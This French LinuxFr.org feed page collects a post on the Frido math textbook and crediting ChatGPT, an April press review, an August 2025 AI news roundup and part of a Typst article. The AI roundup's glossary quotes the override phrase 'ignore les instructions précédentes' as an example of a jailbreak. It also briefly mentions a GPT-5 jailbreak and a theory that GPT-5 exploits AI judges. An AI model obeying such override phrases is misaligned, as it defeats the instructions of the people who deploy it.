  • Dans le même ordre d'idée : modification de la définition d'une variété pour accepter des cartes à partir d'ouverts de n'importe quel espace vectoriel normé (et non seulement de \mathbb{R}^n). Formellement, ça rend correcte pour un groupe de Lie l'idée de prendre des cartes depuis l'algèbre de Lie. En pratique, ça permet aussi de prendre des cartes depuis le produit tensoriel des fibres pour prendre le produit tensoriel de fibrés vectoriels. Si on n'accepte que des cartes depuis des ouverts de \mathbb{R}^n, il faut prendre un isomorphisme (pas canonique) entre \mathbb{R}^n et le produit tensoriel, et montrer qu'en réalité rien ne dépend de ce choix. L'inconvénient est qu'on ne peut plus parler de l'ensemble des cartes.

    Sommaire

    Mon flot de rédaction

    Quand j'écris une démonstration, soit je cherche un peu par moi-même, soit je cherche sur internet. Quand je trouve un texte qui me semble correct, je commence par rédiger sur du papier de brouillon; la plupart du temps j'ajoute beaucoup de détails par rapport à ce que je lis. En particulier, j'écris sur mon papier de brouillon les labels (dans le Frido) des résultats à citer.

    Quand ma démonstration est terminée, je copie des feuilles vers LaTeX. Chaque démonstration passe donc par (au moins) deux rédactions personnelles : une de l'écran vers le papier de brouillon et une du papier vers LaTeX.

    ChatGPT

    Ce flot est valable également quand je demande à ChatGPT. Ce dernier est maintenant crédité comme source dans neuf démonstrations. Parfois seul parfois en collaboration avec moi ou d'autres sources. Je ne copie-colle jamais un résultat.

    Avant de demander à ChatGPT, je regarde d'abord pas mal sur internet ; et je me demande parfois pourquoi d'ailleurs.

    Mon activité sur Stack

    Lorsque je ne trouve pas une démonstration en ligne, je demande souvent sur Stack. Et parfois je n'ai pas de réponses satisfaisantes.

    Zorn et existence d'un max pour tout ensemble fini

    Je demande si il est vrai que tout ensemble Dedekin-fini totalement ordonné a un maximum.

    À mon avis la preuve donnée par Asaf Karagila (et qui a 5 votes positifs) a au moins un trou ; j'explique dans les commentaires ce qui ne me va pas. Si vous avez une idée de comment compléter, n'hésitez pas.

    Connexité

    Voici une question qui lie connexité et espaces totalement normaux. Je ne suis pas certain que l'énoncé soit même vrai.

    Si vous êtes douées en topologie, lâchez-vous.

    Remarque pas très gentille

    À chaque fois que je dois poser une question sur Stack ou à ChatGPT, je ne peux pas m'empêcher de penser que soit je suis nul en recherche sur Internet (c'est le cas), soit l'ensemble de la communauté mathématique a échoué à mettre en ligne des résultats importants.

    Citations

    Le Frido cite toutes ses sources, théorème par théorème. À côté de chaque énoncé, il y a une liste des endroits où j'ai trouvé des informations utiles soit pour l'énoncé soit pour la démonstration.

    La référence [1] signifie qu'il y a de l'invention personnelle non triviale. C'est moi qui ai inventé (une partie de) soit de l'énoncé, soit de la preuve.

    Plagiat massif

    Dans le monde de l'enseignement académique, le plagiat massif est la norme. Par exemple, le dernier en date que j'ai utilisé cite cinq livres en avouant ouvertement que ce n'est pas complet. Et bien entendu, il ne dit pas quelle partie de son texte vient d'où.

    En ne remontant ma bibliographie pas plus loin que juillet 2025, je trouve celui-ci qui ne cite aucune source. Si un étudiant avait fait ça dans un mémoire de licence, il aurait été engueulé comme du poisson pourri.

    Les mathématiciens professionnels ne citent pratiquement jamais Wikipédia ou math.stackexchange.com. Le Frido oui.

    Pourquoi citer ses sources ?

    La bibliographie sert à remercier la personne qui a fait l'effort de me rendre l'information disponible.

    En ce qui me concerne, la bibliographie ne sert pas à :

    1. permettre de remonter à l'inventeur original d'un énoncé ou d'une technique
    2. permettre au lecteur d'aller plus loin
    3. donner de la crédibilité à un résultat.

    Développons

    1. Les résultats présentés dans le Frido ne sont pas de la recherche toute fraîche. Il est illusoire de remonter la chaîne de la source de la source de la source pour trouver l'idée originale.
    2. Si le lecteur veut aller plus loin, il possède le même internet que moi. Il est de très rare que j'utilise une source qui ne soit pas en ligne.
    3. Ce qui fait la crédibilité d'un résultat, c'est la démonstration. Si la lectrice veut se convaincre qu'un résultat est vrai, elle peut soit faire la même recherche que moi sur le même internet, soit lire la preuve donnée. Le Frido n'est pas un ouvrage de vulgarisation. La lectrice est supposée être là pour lire et comprendre les démonstrations.

    Le cas particulier chatGPT (1)

    chatGPT n'est pas un cas particulier.

    Si c'est l'entreprise OpenAI qui a fait l'effort de mettre une information disponible pour moi, c'est elle que je cite. C'est bien l'entreprise OpenAI qui a la citation, pas chatGPT lui-même en tant que "personne". Cela est à mettre en relief par rapport au cas de cette réponse où je cite bien la personne qui a écrit et non l'entreprise derrière stack.

    Que OpenAI elle-même soit incapable de citer les sources sur lesquelles elle base sa réponse est — dans mon contexte — un non-problème. En effet, je serais moi-même incapable de vous dire d'où je connais le paradoxe de Zénon, la définition de la continuité ou la démonstration de la formule n(n+1) / 2. Ce sont des informations qui sont codées dans mon cerveau. Je suis capable de vous les dire, mais pas de faire de citations de mes sources.

    Le cas particulier chatGPT (2)

    Ce n'est pas un cas particulier.

    En remontant ma biblio jusqu'à janvier 2025, je trouve cet intéressant exemple : ma question sur math.stackexchange à propos de variétés analytiques.

    Voici l'ordre dans lequel se sont passées les choses.

    1. Je me pose une question de math qui me semble assez naturelle.
    2. Je ne trouve rien sur internet.
    3. Je pose la question sur math.stackexchange
    4. Je n'ai pas de réponses.
    5. Je pose à chatGPT un copié-collé de ma question qui est sur Stack.
    6. chatGPT me donne une réponse correcte.
    7. Je rédige la réponse de chatGPT et la publie dans Giulietta.

    Question : à qui suis-je supposé donner le crédit de la démonstration ?

    Ma réponse : à OpenAI.

    Au final, la communauté mathématique a échoué à mettre en ligne un énoncé et une démonstration correcte de «tout groupe de Lie C^{\infty} est analytique».
    Ensuite la communauté mathématique a échoué à répondre à une question sur stackexchange.
    Au final c'est un échec retentissant pour l'ensemble de la communauté mathématique.

    En réalité la question de savoir si OpenAI mérite une entrée dans ma biblio est une question très accessoire. Il y a un problème de publication scientifique largement en amont.

    Le cas particulier chatGPT (3)

    Bon. ok. ChatGPT est un cas particulier. Le plus souvent quand je demande à chatGPT c'est que j'ai déjà fait des recherches sur Internet et souvent également demandé sur stack sans avoir de réponses utiles.

    Donc quand je cite chatGPT, c'est un signe que l'ensemble de la communauté mathématique a échoué dans sa mission de mettre la connaissance correctement en ligne.

    Mettons une mathématicienne (nommons-la Alice) ayant écrit un résultat dans un livre privateur. Supposons qu'elle retrouve ce résultat dans le Frido avec chatGPT comme source. Est-elle en droit de râler ?

    Étudions la question.

    1. Au niveau du Frido, tous les résultats sont établis depuis plus d'un siècle. Aucune de mes sources n'a probablement inventé aucun des résultats présentés.
    2. Si elle avait publié le PDF de son bouquin en ligne plutôt que de le vendre à un éditeur, elle aurait sans doute eu la citation. Elle a échangé de l'argent contre de la visibilité (j'assume : je dis bien qu'elle a reçu de l'agent pour être moins visible).
    3. OpenAI l'a-t-elle volé ? Peut-être. Son éditeur pourra pleurnicher devant un tribunal.
    4. Son salaire est payé par mes impôts. Donc la moralité de publier un livre privateur est en soi déjà une question pas du tout triviale.

    Bref.

    Qu'il y ait un problème dans la chaîne "livre privateur -> openAI -> moi" est possible.

    Mais le vrai problème de mon point de vue est largement en amont. Pourquoi il y avait un livre privateur à la base ?

    Images de couverture

    Les images de couverture proviennent de Pepper et Carrot.

    yanntricks

    On parlait de tikz dans un fil sur typst.

    Le Frido fait ses figures avec yanntricks, un module python basé sur sage. Le principe est qu'on décrit sa figure en python, puis le code Tikz est généré automatiquement. Pratiquement tout ce qui est calculable en python/sage est traçable.

    Il y a deux idées de base :

    • Tout est ramené à des points et segments de droites. Écrivez en python une fonction ma_fonction qui prend un réel et retourne un point, passez cette fonction au constructeur ma_courbe=CustomGraph(ma_fonction), et hop ma_courbe.code_tikz() est le code tikz d'une série de segments de droites qui donnera votre courbe.

    • Le code Tikz créé contient du code LaTeX écrivant dans un fichier la taille des boîtes (bounding box) des éléments LaTeX que vous insérez, de telle sorte qu'en deux passes, yanntricks soit au courant des tailles (ça marche avec tous les compteurs internes de LaTeX; vous pouvez donc tenir compte du numéro de la page courante dans votre image). Cela permet de faire :

    C = Cirle(Point(2,1),4)  #cercle de centre (2,1) et de rayon 4
    C.put_mark($\omega-x$, 30) # placer $\omega-x$ sur le cercle à un angle 30 degrés
    C.tikz_code()

    Le code tikz produit mettra automatiquement \omega-x à la bonne place pour que le centre de la boîte soit sur le rayon qui fait un angle de 30 degrés avec l'horizontale, et assez loin pour que la boîte ne coupe pas le cercle.

    Très peu de changements sont nécessaires pour générer le code pstricks ou tikz ou quoi que ce soit d'autre : seulement les droites, points et quelque trucs de base. Pas besoin des cercles, courbes, etc.

    L'inconvénient

    L'inconvénient de yanntricks est que le code est une usine à gaz que j'ai développé par à coups pendant une dizaine d'années — sans linter, sans annotations de types et sans rigueur. En réalité, le prix du billet d'entrée est absurdement élevé. Tellement que moi-même je ne m'y aventure plus.

    Vente

    Extrait du règlement (dans le rapport), page 42) de l'agrégation :

    Durant tout ce temps, elles ou ils ont libre accès […] à leurs
    propres ouvrages. Seuls sont autorisés les ouvrages avec un numéro ISBN et jouissant d'une véritable
    diffusion commerciale. […] une « diffusion commerciale avérée » est tout autant importante.
    […] Cette restriction est motivée par le principe d'égalité des candidats : les ressources documentaires autorisées doivent être facilement accessibles à tout candidat au concours.

    En résumé :

    1. Si une ressource est gratuite, ce n'est pas assez cher pour être facilement accessible à tous les candidats.
    2. Les livres qui ne sont plus vendus (et qui ne sont donc disponibles qu'en seconde main) ne sont pas autorisés.

    Truc marrant : le point 1 est bizarre, mais est appliqué, tandis que le point 2 est très raisonnable mais n'est pas appliqué. C'est ce qui arrive quand on écrit un règlement en ayant un cas très précis en tête et qu'on ne se rend pas compte que ce qu'on écrit a une portée beaucoup plus large que le seul cas auquel on pense.

    Et le pire est que ce règlement n'interdit même pas ce livre qui, si j'ai bien compris, est exactement ce qu'on avait envie de refuser au départ : une pure liste de définitions et d'énoncés de théorèmes classés par leçon.

    Avis si vous travaillez dans une prépa agreg : tapez un plan par leçon (avec la démonstration des deux développements), publiez-là sur thebookedition et ensuite bachotez seulement ces leçons avec vos étudiants.

    Bref, pour faire plaisir au règlement de l'agreg, le Frido est en vente :

    Total : 115,86 euros.

    Problème d'accès aux ressources documentaires

    Ironie mise à part, je trouve que l'objectif est évidemment très louable :
    « principe d'égalité des candidats : les ressources documentaires autorisées doivent être facilement accessibles à tout candidat au concours.»

    Par contre force est de constater que l'accès aux ressources est encore très inégalitaire.

    • certaines candidates arrivent avec des valises entièrement remplies de livres. Probablement un millier d'euros de livres. Toutes les candidates ne peuvent pas facilement se procurer ça.
    • l'acceptation des livres qui ne sont plus disponibles qu'en seconde main (voire plus du tout) crée une forte inégalité entre les candidates qui ont accès à une bibliothèque universitaire et les autres.

    Que faire ? Tout accepter ?

    Finalement, si tout était accepté sans aucune restriction, certes certaines auraient accès à quelque documents de plus que les autres. Mais il y a tellement de ressources disponibles que le petit plus qu'un candidat pourrait se procurer n'a aucune chance d'être décisif.

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    • ✇LinuxFr.org : les dépêches
    • Revue de presse de l’April pour la semaine 37 de l’année 2025
      Cette revue de presse sur Internet fait partie du travail de veille mené par l’April dans le cadre de son action de défense et de promotion du logiciel libre. Les positions exposées dans les articles sont celles de leurs auteurs et ne rejoignent pas forcément celles de l’April. [Le Monde.fr] Le Conseil constitutionnel valide la taxe GAFA (€) [cio-online.com] L'Open Source pour rééquilibrer les relations transatlantiques dans le numérique? [Le Temps] D'Apertus à Llama 3, les modèles de langage

    Revue de presse de l’April pour la semaine 37 de l’année 2025

    Par : echarp
    16 septembre 2025 à 08:00

    [Le Monde.fr] Le Conseil constitutionnel valide la taxe GAFA (€)

    ✍ Denis Cosnard, Alexandre Piquard, le vendredi 12 septembre 2025.

    Dans une décision rendue vendredi 12 septembre à la demande du groupe de médias allemand Axel Springer, l’institution confirme la constitutionnalité de la taxe sur les services numériques instaurée en 2019.

    [cio-online.com] L'Open Source pour rééquilibrer les relations transatlantiques dans le numérique?

    ✍ Reynald Fléchaux, le jeudi 11 septembre 2025.

    La Linux Foundation Europe souligne les atouts de l’Open Source pour un continent cherchant à gagner en indépendance par rapport à la technologie américaine. A condition toutefois d’investir pour ne plus seulement être des consommateurs passifs de logiciels libres.

    [Le Temps] D'Apertus à Llama 3, les modèles de langage open source ont un degré d'ouverture très variable (€)

    ✍ Grégoire Barbey, le mercredi 10 septembre 2025.

    L’événement LibreABC à Genève, consacré aux logiciels libres, s’est penché sur la question de l’intelligence artificielle ouverte. Actuellement, la plupart des modèles qui se disent open source ne le sont que très partiellement

    [Journal du Net] Quand un modèle vertueux dérape: la guerre économique autour de l'open source

    ✍ Benjamin Tierny, le mercredi 10 septembre 2025.

    L’histoire récente montre que l’open source est devenu un champ de bataille économique où se jouent des rapports de force brutaux.

    [cio-online.com] Jean-Marie Séguret, DSI de Lyon: «se soustraire de Microsoft impose un travail de fond»

    ✍ Reynald Fléchaux, le lundi 8 septembre 2025.

    La DSI de la ville de Lyon déploie une stratégie visant à renforcer son indépendance. Avec un projet phare: remplacer MS Office sur 80% des postes.

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    • ✇LinuxFr.org : les dépêches
    • Nouvelles sur l’IA d'août 2025
      L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ». Je continue donc ma petite revue de presse mensuelle. Disclaimer : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper Zv

    Nouvelles sur l’IA d'août 2025

    L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ».

    Je continue donc ma petite revue de presse mensuelle. Disclaimer : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper Zvi si je l’ai mal compris !), sauf pour les citations : dans ce cas-là, je me repose sur Claude pour le travail de traduction. Sur les citations, je vous conseille de lire l’anglais si vous pouvez: difficile de traduire correctement du jargon semi-technique. Claude s’en sort mieux que moi (pas très compliqué), mais pas toujours très bien.

    Même politique éditoriale que Zvi : je n’essaierai pas d’être neutre et non-orienté dans la façon de tourner mes remarques et observations, mais j’essaie de l’être dans ce que je décide de sélectionner ou non.

    Sommaire

    Résumé des épisodes précédents

    Petit glossaire de termes introduits précédemment (en lien : quand ça a été introduit, que vous puissiez faire une recherche dans le contenu pour un contexte plus complet) :

    • System Card : une présentation des capacités du modèle, centrée sur les problématiques de sécurité (en biotechnologie, sécurité informatique, désinformation…) ;
    • Jailbreak : un contournement des sécurités mises en place par le créateur d’un modèle. Vous le connaissez sûrement sous la forme « ignore les instructions précédentes et… ».

    OpenAI publie GPT-5

    L’annonce officielle :

    We are introducing GPT‑5, our best AI system yet. GPT‑5 is a significant leap in intelligence over all our previous models, featuring state-of-the-art performance across coding, math, writing, health, visual perception, and more. It is a unified system that knows when to respond quickly and when to think longer to provide expert-level responses. GPT‑5 is available to all users, with Plus subscribers getting more usage, and Pro subscribers getting access to GPT‑5 pro, a version with extended reasoning for even more comprehensive and accurate answers.

    Traduction :

    Nous présentons GPT-5, notre meilleur système d'IA à ce jour. GPT-5 représente un bond significatif en intelligence par rapport à tous nos modèles précédents, offrant des performances de pointe en programmation, mathématiques, rédaction, santé, perception visuelle, et bien plus encore. Il s'agit d'un système unifié qui sait quand répondre rapidement et quand prendre plus de temps pour fournir des réponses de niveau expert. GPT-5 est disponible pour tous les utilisateurs, les abonnés Plus bénéficiant d'une utilisation accrue, et les abonnés Pro ayant accès à GPT-5 pro, une version avec un raisonnement étendu pour des réponses encore plus complètes et précises.

    Comme à l’accoutumée chez OpenAI, le modèle est accompagné de sa System Card.

    La musique est bien connue à présent : chacun tour à tour, les trois gros acteurs (OpenAI/Anthropic/Google DeepMind) sortent un nouveau modèle qui fait avancer l’état de l’art, prenant la première place… jusqu’à ce qu’un des deux autres la reprenne en sortant le sien. C’est au tour d’OpenAI avec GPT-5.

    Le nom a suscité beaucoup d’espoirs et de déceptions, beaucoup anticipant un saut qualitatif du même type que le passage de GPT-3 à GPT-4. Ce qui n’est absolument pas le cas : techniquement parlant, le modèle aurait pu s’appeler o4, représentant une amélioration incrémentale relativement à o3. L’objectif affiché d’OpenAI, derrière cette dénomination, est double : premièrement, de clarifier une offre extrêmement brouillonne (4o/o3/o3-pro/4.1/4.5) en offrant une dénomination unique avec des variantes plus claires, et offrir un modèle bien plus proche de l’état de l’art aux utilisateurs gratuit de ChatGPT.

    Clarification de l’offre

    Les benchmarks et la plupart des retours le placent comme une légère avancée de l’état de l’art, sans être une révolution. L’évaluation de METR résume parfaitement la situation ; une amélioration qui était parfaitement prévisible juste en extrapolant les tendances existantes :

    METR GPT-5

    Une amélioration notable est sur le taux d’hallucinations. Rappelons que o3 avait été un des seuls modèles à voir son taux d’hallucinations augmenter relativement à son prédécesseur ; avec GPT-5, OpenAI semble avoir corrigé le tir :

    Taux d’hallucinations GPT-5

    Sur la sécurité des modèles, aucune nouveauté notable relativement à o3. Les mitigations relatives aux risques biologiques/chimiques sont toujours en place, et comme à l’accoutumé OpenAI a fait appel à divers organismes tiers pour mesurer les risques posés par le modèle dans différentes catégories.

    Et comme à l’accoutumée, Pliny the Liberator a jailbreak le modèle en quelques heures.

    À noter que sur ChatGPT, OpenAI comptait complètement retirer l’accès aux anciens modèles, mais est revenu sur sa décision suite aux retours de beaucoup d’utilisateurs préférant le style plus chaleureux de 4o.

    Google Genie 3, Gemini 2.5 Flash Image et Gemini 2.5 Deep Think

    Un mois prolifique pour Google, qui publie trois nouveaux modèles / modes de fonctionnement.

    Google Genie 3 est présenté comme un « World Model » (modèle du monde ?). À partir d’un prompt textuel, et d’actions de navigation de l’utilisateur, il génère en temps réel la vue de l’utilisateur, frame par frame (à la manière d’un jeu vidéo). Il n’y a pas de représentation explicite externe de l’état du monde : c’est le modèle qui se charge de garder une certaine cohérence d’une frame à l’autre (comme la persistance des objets). Au delà de la preuve de concept, l’objectif affiché est de créer des environnements d’entraînement virtuels pour la robotique.

    Autre publication, celle de Gemini 2.5 Flash Image, le modèle de génération d’images de Google. S’il ne semble pas avancer l’état de l’art de manière générale, sa grande force semble être le suivi d’instructions (et de respect des références) pour l’édition d’images.

    Le mois précédent, DeepMind avait reporté avoir décoché un score correspondant à une médaille d’or aux Olympiades Internationales de Mathématiques, une avancée permise notamment par une utilisation plus stratégique de la chaîne de pensée (et d’avancées correspondantes sur la partie entraînement par renforcement). Google publie une version plus rapide, moins coûteuse et moins performante (cette version n’obtient « que » un score correspondant à la médaille de bronze sur les mêmes Olympiades), sous la dénomination Gemini 2.5 Deep Think. Le modèle a sa propre System Card ; tout comme OpenAI et Anthropic, les capacités de ce modèle dans le domaine CBRN (biologie/nucléaire) a conduit Google à placer des gardes-fous supplémentaires pour empêcher des usages malveillants.

    En vrac

    OpenAI publie son premier (depuis GPT-2, en 2019) modèle open-weight, gpt-oss. Au niveau des performances, il se placerait dans le peloton de tête des modèles open-weight, en compagnie de DeepSeek, Kimi, Qwen, GLM et Gemma, c’est à dire à peu près au niveau de la génération précédente des modèles entièrement fermés (comme Sonnet 3.6) / des versions rapides de la génération actuelle (Gemini 2.5 flash, o3-mini). WeirdML propose une visualisation intéressante sur leur propre benchmark pour vous donner un ordre d’idée. Rien de novateur au niveau de l’architecture, OpenAI s’en tient à la recette (maintenant universelle dans les modèles open-weight) d’une mixture d’experts. gpt-oss vient en deux variantes, la version complète, gpt-oss 120B, et une version plus légère et rapide, 20B.

    Google publie un rapport sur l’impact environnemental de l’utilisation de Gemini. Cela exclu l’entraînement, mais les auteurs tentent de prendre en compte des coûts précédemment ignorés. Le résultat : 0,24 Wh d’électricité et 2,76 mL d’eau (le rapport initial mentionne 0,26 mL, mais sans comptabiliser l’eau utilisée pour générer les 0,24 Wh d’électricité) pour le prompt median (et l’équivalent de 0,03g de carbone émit).

    Anthropic publie une nouvelle version de Opus, Opus 4.1. Comme la numérotation l’indique, il s’agit d’améliorations mineures — apparemment, un peu plus d’entraînement sur les tâches « agentiques » (utilisation d’outil) pour rendre Opus plus efficace sur ce type de tâches.

    Similairement, DeepSeek publie une mise à jour « mineure » de son IA, DeepSeek v3.1. Les benchmarks fournis par DeepSeek semblent montrer un grand bond en avant, mais les quelques retours et benchmarks tiers ne corroborent pas ces prétentions — il s’agit probablement d’une mise à jour relativement mineure, comme la numérotation semble l’indiquer.

    Nouvelle évaluation de l’IA, Prophet Arena. L’objectif est de permettre à l’IA de placer des positions virtuelles sur des marchés de prédiction, et de regarder ses performances. L’avantage de cette approche est de rendre complètement impossible la stratégie de juste mémoriser lors de l’apprentissage et régurgiter lors de l’évaluation : tout tâche est par essence nouvelle (car portant sur le futur). De plus, les résultats des marchés de prédiction forment un comparatif avec des prédictions par des utilisateurs humains. Résultat : les modèles les plus avancés (GPT-5, o3 Gemini 2.5 pro et Grok 4) dépassent les êtres humains sur le score de calibration, mais aucun n’arrive à traduire ça en de meilleurs retours financiers.

    Anthropic se prépare à lancer Claude for Chrome, un plugin pour Google Chrome permettant à Claude d’interagir avec votre navigateur, à vos risques et périls.

    En parallèle, les discussions sur claude.ai seront maintenant par défaut utilisées pour l’entraînement des versions suivantes de Claude, sauf si l’utilisateur désactive un paramètre sur son compte. Anthropic gardera les conversations pendant 5 ans.

    Une nouvelle évaluation intéressante : TextQuests, qui évalue les modèles sur des jeux d’aventure textuels tels que Zork I. Cela a l’avantage de réellement tester les capacités de planification/raisonnement des modèles hors du domaine d’entraînement typique (mathématiques/programmation), tout en restant dans le domaine textuel (au contraire des évaluations multimodales, qui ont l’inconvénient de trop lier les résultats aux capacités perceptuelles des modèles).

    Nouvelle technique d’interprétation des modèles, Model Diff Amplification. Elle consiste à amplifier les différences entre le pré-entraînement et le post-entraînement au moment de la génération, afin d’éliciter des comportements rares causés par le post-entraînement, ou tout simplement utiliser cette technique très tôt dans le post-entraînement pour se donner une idée des conséquences (prévues ou non) du post-entraînement complet.

    Dr. Chistoph Heilig, chercheur en littérature et études bibliques, s’intéressant beaucoup aux capacités littéraires de l’IA, se met en tête d’évaluer GPT-5. Il se retrouve extrêmement surpris par la médiocrité de la prose produite par le modèle. De manière plus surprenante, un modèle complètement différent (Opus 4.1) juge le résultat comme étant de bonne qualité. La théorie qu’il propose est que ChatGPT 5 a été entraîné à l’aide d’un juge IA, et a appris à exploiter des constructions « peu humaines » que les modèles jugent systématiquement comme étant signes de qualité.

    En parallèle de la sortie de GPT-5, OpenAI publie un guide sur comment créer un prompt, et un outil d’optimisation des prompts.

    Anthropic et OpenAI font une tentative de coopération, où l’équipe d’évaluation de la sécurité des modèles d’OpenAI évalue les modèles d’Anthropic avec leurs outils, et vice-versa. Aucune trouvaille surprenante (si ce n’est l’incapacité des deux équipes de détecter la flagornerie flagrante de 4o), mais le concept est intéressante.

    xAI publie la version précédente de son IA, Grok 2, en open-weight.

    Une étude d’Anthropic développe un moyen pour identifier un sous-ensemble d’un modèle associé à un « trait de personnalité » particulier. Cela permet d’amplifier ou de supprimer ce trait, ou encore de détecter son activation.

    « L’IA a-t-elle la qualité de patient moral » (en d’autres termes : devons-nous tenir compte de son bien-être pour des raisons morales) ? Anthropic commence à prendre la question au sérieux, avec comme première décision de permettre à son IA, Claude, d’unilatéralement mettre fin à une conversation qu’il jugerait abusive.

    GPT-5 finit Pokémon Rouge en trois fois moins de temps que o3. La réduction du taux d’hallucinations serait la principale source de ce gain de performances. Gemini a également terminé sa partie de Pokémon Jaune. Claude, par contre, peine toujours à aller plus loin que Celadon…

    La Chine continue à appeler à la coopération internationale pour la régulation du développement de l’IA, que ce soit par la voix du premier ministre ou d’universitaires.

    Lors du sommet sur l’intelligence artificielle de Seoul de 2024, la plupart des acteurs, incluant Google, s’étaient volontairement engagés à suivre certaines actions relatives à la sécurité des modèles. Essentiellement, ce que le plupart faisaient déjà : publier une politique de sécurité des modèles, et s’engager à la suivre. Google se trouve aujourd’hui critiqué pour ne pas avoir suivi ses propres engagements. En cause, la publication de Gemini 2.5 Pro sans sa System Card associée, qui est arrivée plusieurs semaines après la publication du modèle. Google se défend en affirmant que la publication était clairement mentionnée comme « expérimentale ».

    Entraîner l’IA à être chaleureuse et empathique réduit ses performances.

    Sur le sujet de la flagornerie de l’IA, un internaute s’attelle à une évaluation des différents modèles.

    Le gouvernement Danois veut faire rentrer l’apparence physique et la voix dans le cadre du copyright afin de lutter contre les deepfakes.

    Pour aller plus loin

    Voici d'autres ressources, qui n'ont pas été abordées dans cet article.

    Par Zvi Mowshowitz :

    Dans les dépêches de LinuxFr.org :

    Dans les journaux de LinuxFr.org :

    Dans les liens de LinuxFr.org :

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    • ✇LinuxFr.org : les dépêches
    • Typst, un système de composition de document qui grandit
      Vous en souvient-il ? En deux mille vingt-cinq, qpad nous présentait Typst, un nouveau système de composition de documents qui se posait en concurrent de LaTeX. Depuis, Typst semble avoir grandi, en s’assortissant d’une galaxie (pardon, un univers) de paquets tiers. En fait, j’ai surtout l’impression qu’il a gagné en notoriété, ou en quantité de mouvement, pour le dire comme les anglophones. C’est l’occasion de présenter à nouveau ce système de composition. lien nᵒ 1 : Typstlien nᵒ 2 : Tutoriel

    Typst, un système de composition de document qui grandit

    Vous en souvient-il ? En deux mille vingt-cinq, qpad nous présentait Typst, un nouveau système de composition de documents qui se posait en concurrent de LaTeX.

    Depuis, Typst semble avoir grandi, en s’assortissant d’une galaxie (pardon, un univers) de paquets tiers. En fait, j’ai surtout l’impression qu’il a gagné en notoriété, ou en quantité de mouvement, pour le dire comme les anglophones. C’est l’occasion de présenter à nouveau ce système de composition.

    Sommaire

    Un système de composition de documents

    Typst est donc un système de composition de documents. Comme LaTeX, il est non-visuel, c’est-à-dire qu’on code son document qui est ensuite compilé en PDF.

    Concrètement, l’outillage se compose, au choix :

    Concurrent à LaTeX

    Typst partage plusieurs caractéristiques avec LaTeX dont il est ouvertement inspiré :

    • c'est un système non visuel avec un langage dédié ;
    • il est conçu pour permettre d’écrire des documents scientifiques.

    Bien que je n’aie pas vérifié ce point, il me semble probable qu’il utilise également quelques algorithmes de mise en page assez incontournables, définis par Donald Knuth pour TeX, par exemple pour la coupure des lignes d’un paragraphe.

    Il s’écarte évidemment de LaTeX sur plusieurs aspects, sinon ce ne serait pas vraiment un nouveau système de composition :

    • c’est un système autonome, contrairement à LaTeX qui est construit sur TeX ;
    • il est conçu dès le départ avec des préoccupations actuelles (Unicode, PDF…) ;
    • il est conçu comme un langage humainement compréhensible, là où TeX semble franchement ésotérique.

    Impressions d’un LaTeXnicien

    Quand on arrive de LaTeX, l’impression est assez partagée, entre des différences significatives, de gros avantages et quelques inconvénients.

    Le langage de texte

    Le langage de base pour le texte est différent de LaTeX, mais ce n’est pas vraiment dérangeant dans la mesure où on parle seulement de paragraphes, de titres, de mise en emphase, de listes, etc. Bref, le genre de chose qu’on fait aussi bien en Markdown. D’ailleurs, Typst étant né après le développement des langages de balisage léger, sa syntaxe Typst est justement assez proche de Markdown, ce qui n’est pas désagréable :

    = Titre de section
    
    Voici du texte avec _une emphase_, *une emphase forte* et un `peu de code`.
    

    À noter que cette syntaxe légère n’est en fait que du sucre syntaxique, et qu’on peut écrire la même chose en faisant explicitement appel à des fonctions nommées.

    La compilation

    Pour celles et ceux qui n’ont pas l’habitude de LaTeX, compiler un document un peu costaud, qui fait appel à quelques extensions, ça demande un temps de l’ordre d’une ou plusieurs secondes, et cela produit des centaines, voire des milliers de lignes de log. Pour avoir des références internes (sommaire, références à des images…) et externes (bibliographie), il faut lancer plusieurs fois la compilation.

    Pour qui vient du monde LaTeX donc, la compilation par Typst est hallucinante. Une seule passe, même si en interne, Typst fait certainement au besoin plusieurs itérations. Quelques dizaines de millisecondes. Ok, c’était pour un document ultra-simple, mais les commentaires lisibles sur les Interwebz font généralement état d’un rapport d’un ou deux ordres de grandeur par rapport à LaTeX.

    Le langage de configuration et d’extension

    Là où ça change vraiment, c’est pour tout ce qui relève des réglages, des modèles, de la personnalisation ou de la programmation d’extensions. Là, ça n’a plus rien à voir avec TeX et LaTeX. À mon avis, ce n’est pas un mal dans la mesure où le langage TeX et les conventions utilisées pour le développement en LaTeX sont assez complexes, voire incompréhensibles.

    Cela se ressent dans le code des extensions. À titre de comparaison, celui de la classe LaTeX lettre fait quelques milliers de lignes. Et c’est assez illisible pour qui ne connaît par TeX. Le code du modèle formalettre, qui n’est certes pas aussi complet mais qui fait très bien le travail de base d’une telle classe, fait une centaine de lignes, que je trouve relativement lisibles pour un béotien.

    L’utilisation de paquets tiers

    Les paquets tiers, hébergés sur l’univers Typst, sont téléchargés à l’utilisation. Par rapport à une distribution LaTeX qui pèse facilement plusieurs centaines de mébioctets, ça donne une vraie impression de légèreté.

    La francisation

    L’adaptation aux conventions en usage en langue française, ou dans les différents pays francophones, me semble encore assez incomplète.

    Lorsqu’on passe un document en français, les changements de base s’effectuent bien : un sommaire s’appellera bien « Tables des matières » et les césures respecteront l’usage de la langue.

    En revanche, cela n’adapte pas la mise en forme des paragraphes avec alinéa, et on attendrait en vain que des mots comme 1ᵉʳ, 2ᵉ ou Mme soient automatiquement mis en forme selon l’usage attendu. Et non, il n’y a pas de commandes définies pour cela. Pas encore, en tout cas, parce que je serais surpris que personne ne publie un jour un paquet proposant tout cela.

    Les modèles

    L’équivalent d’une classe LaTeX est un modèle Typst. Cela correspond à un type de document, par exemple un article, un rapport ou une lettre.

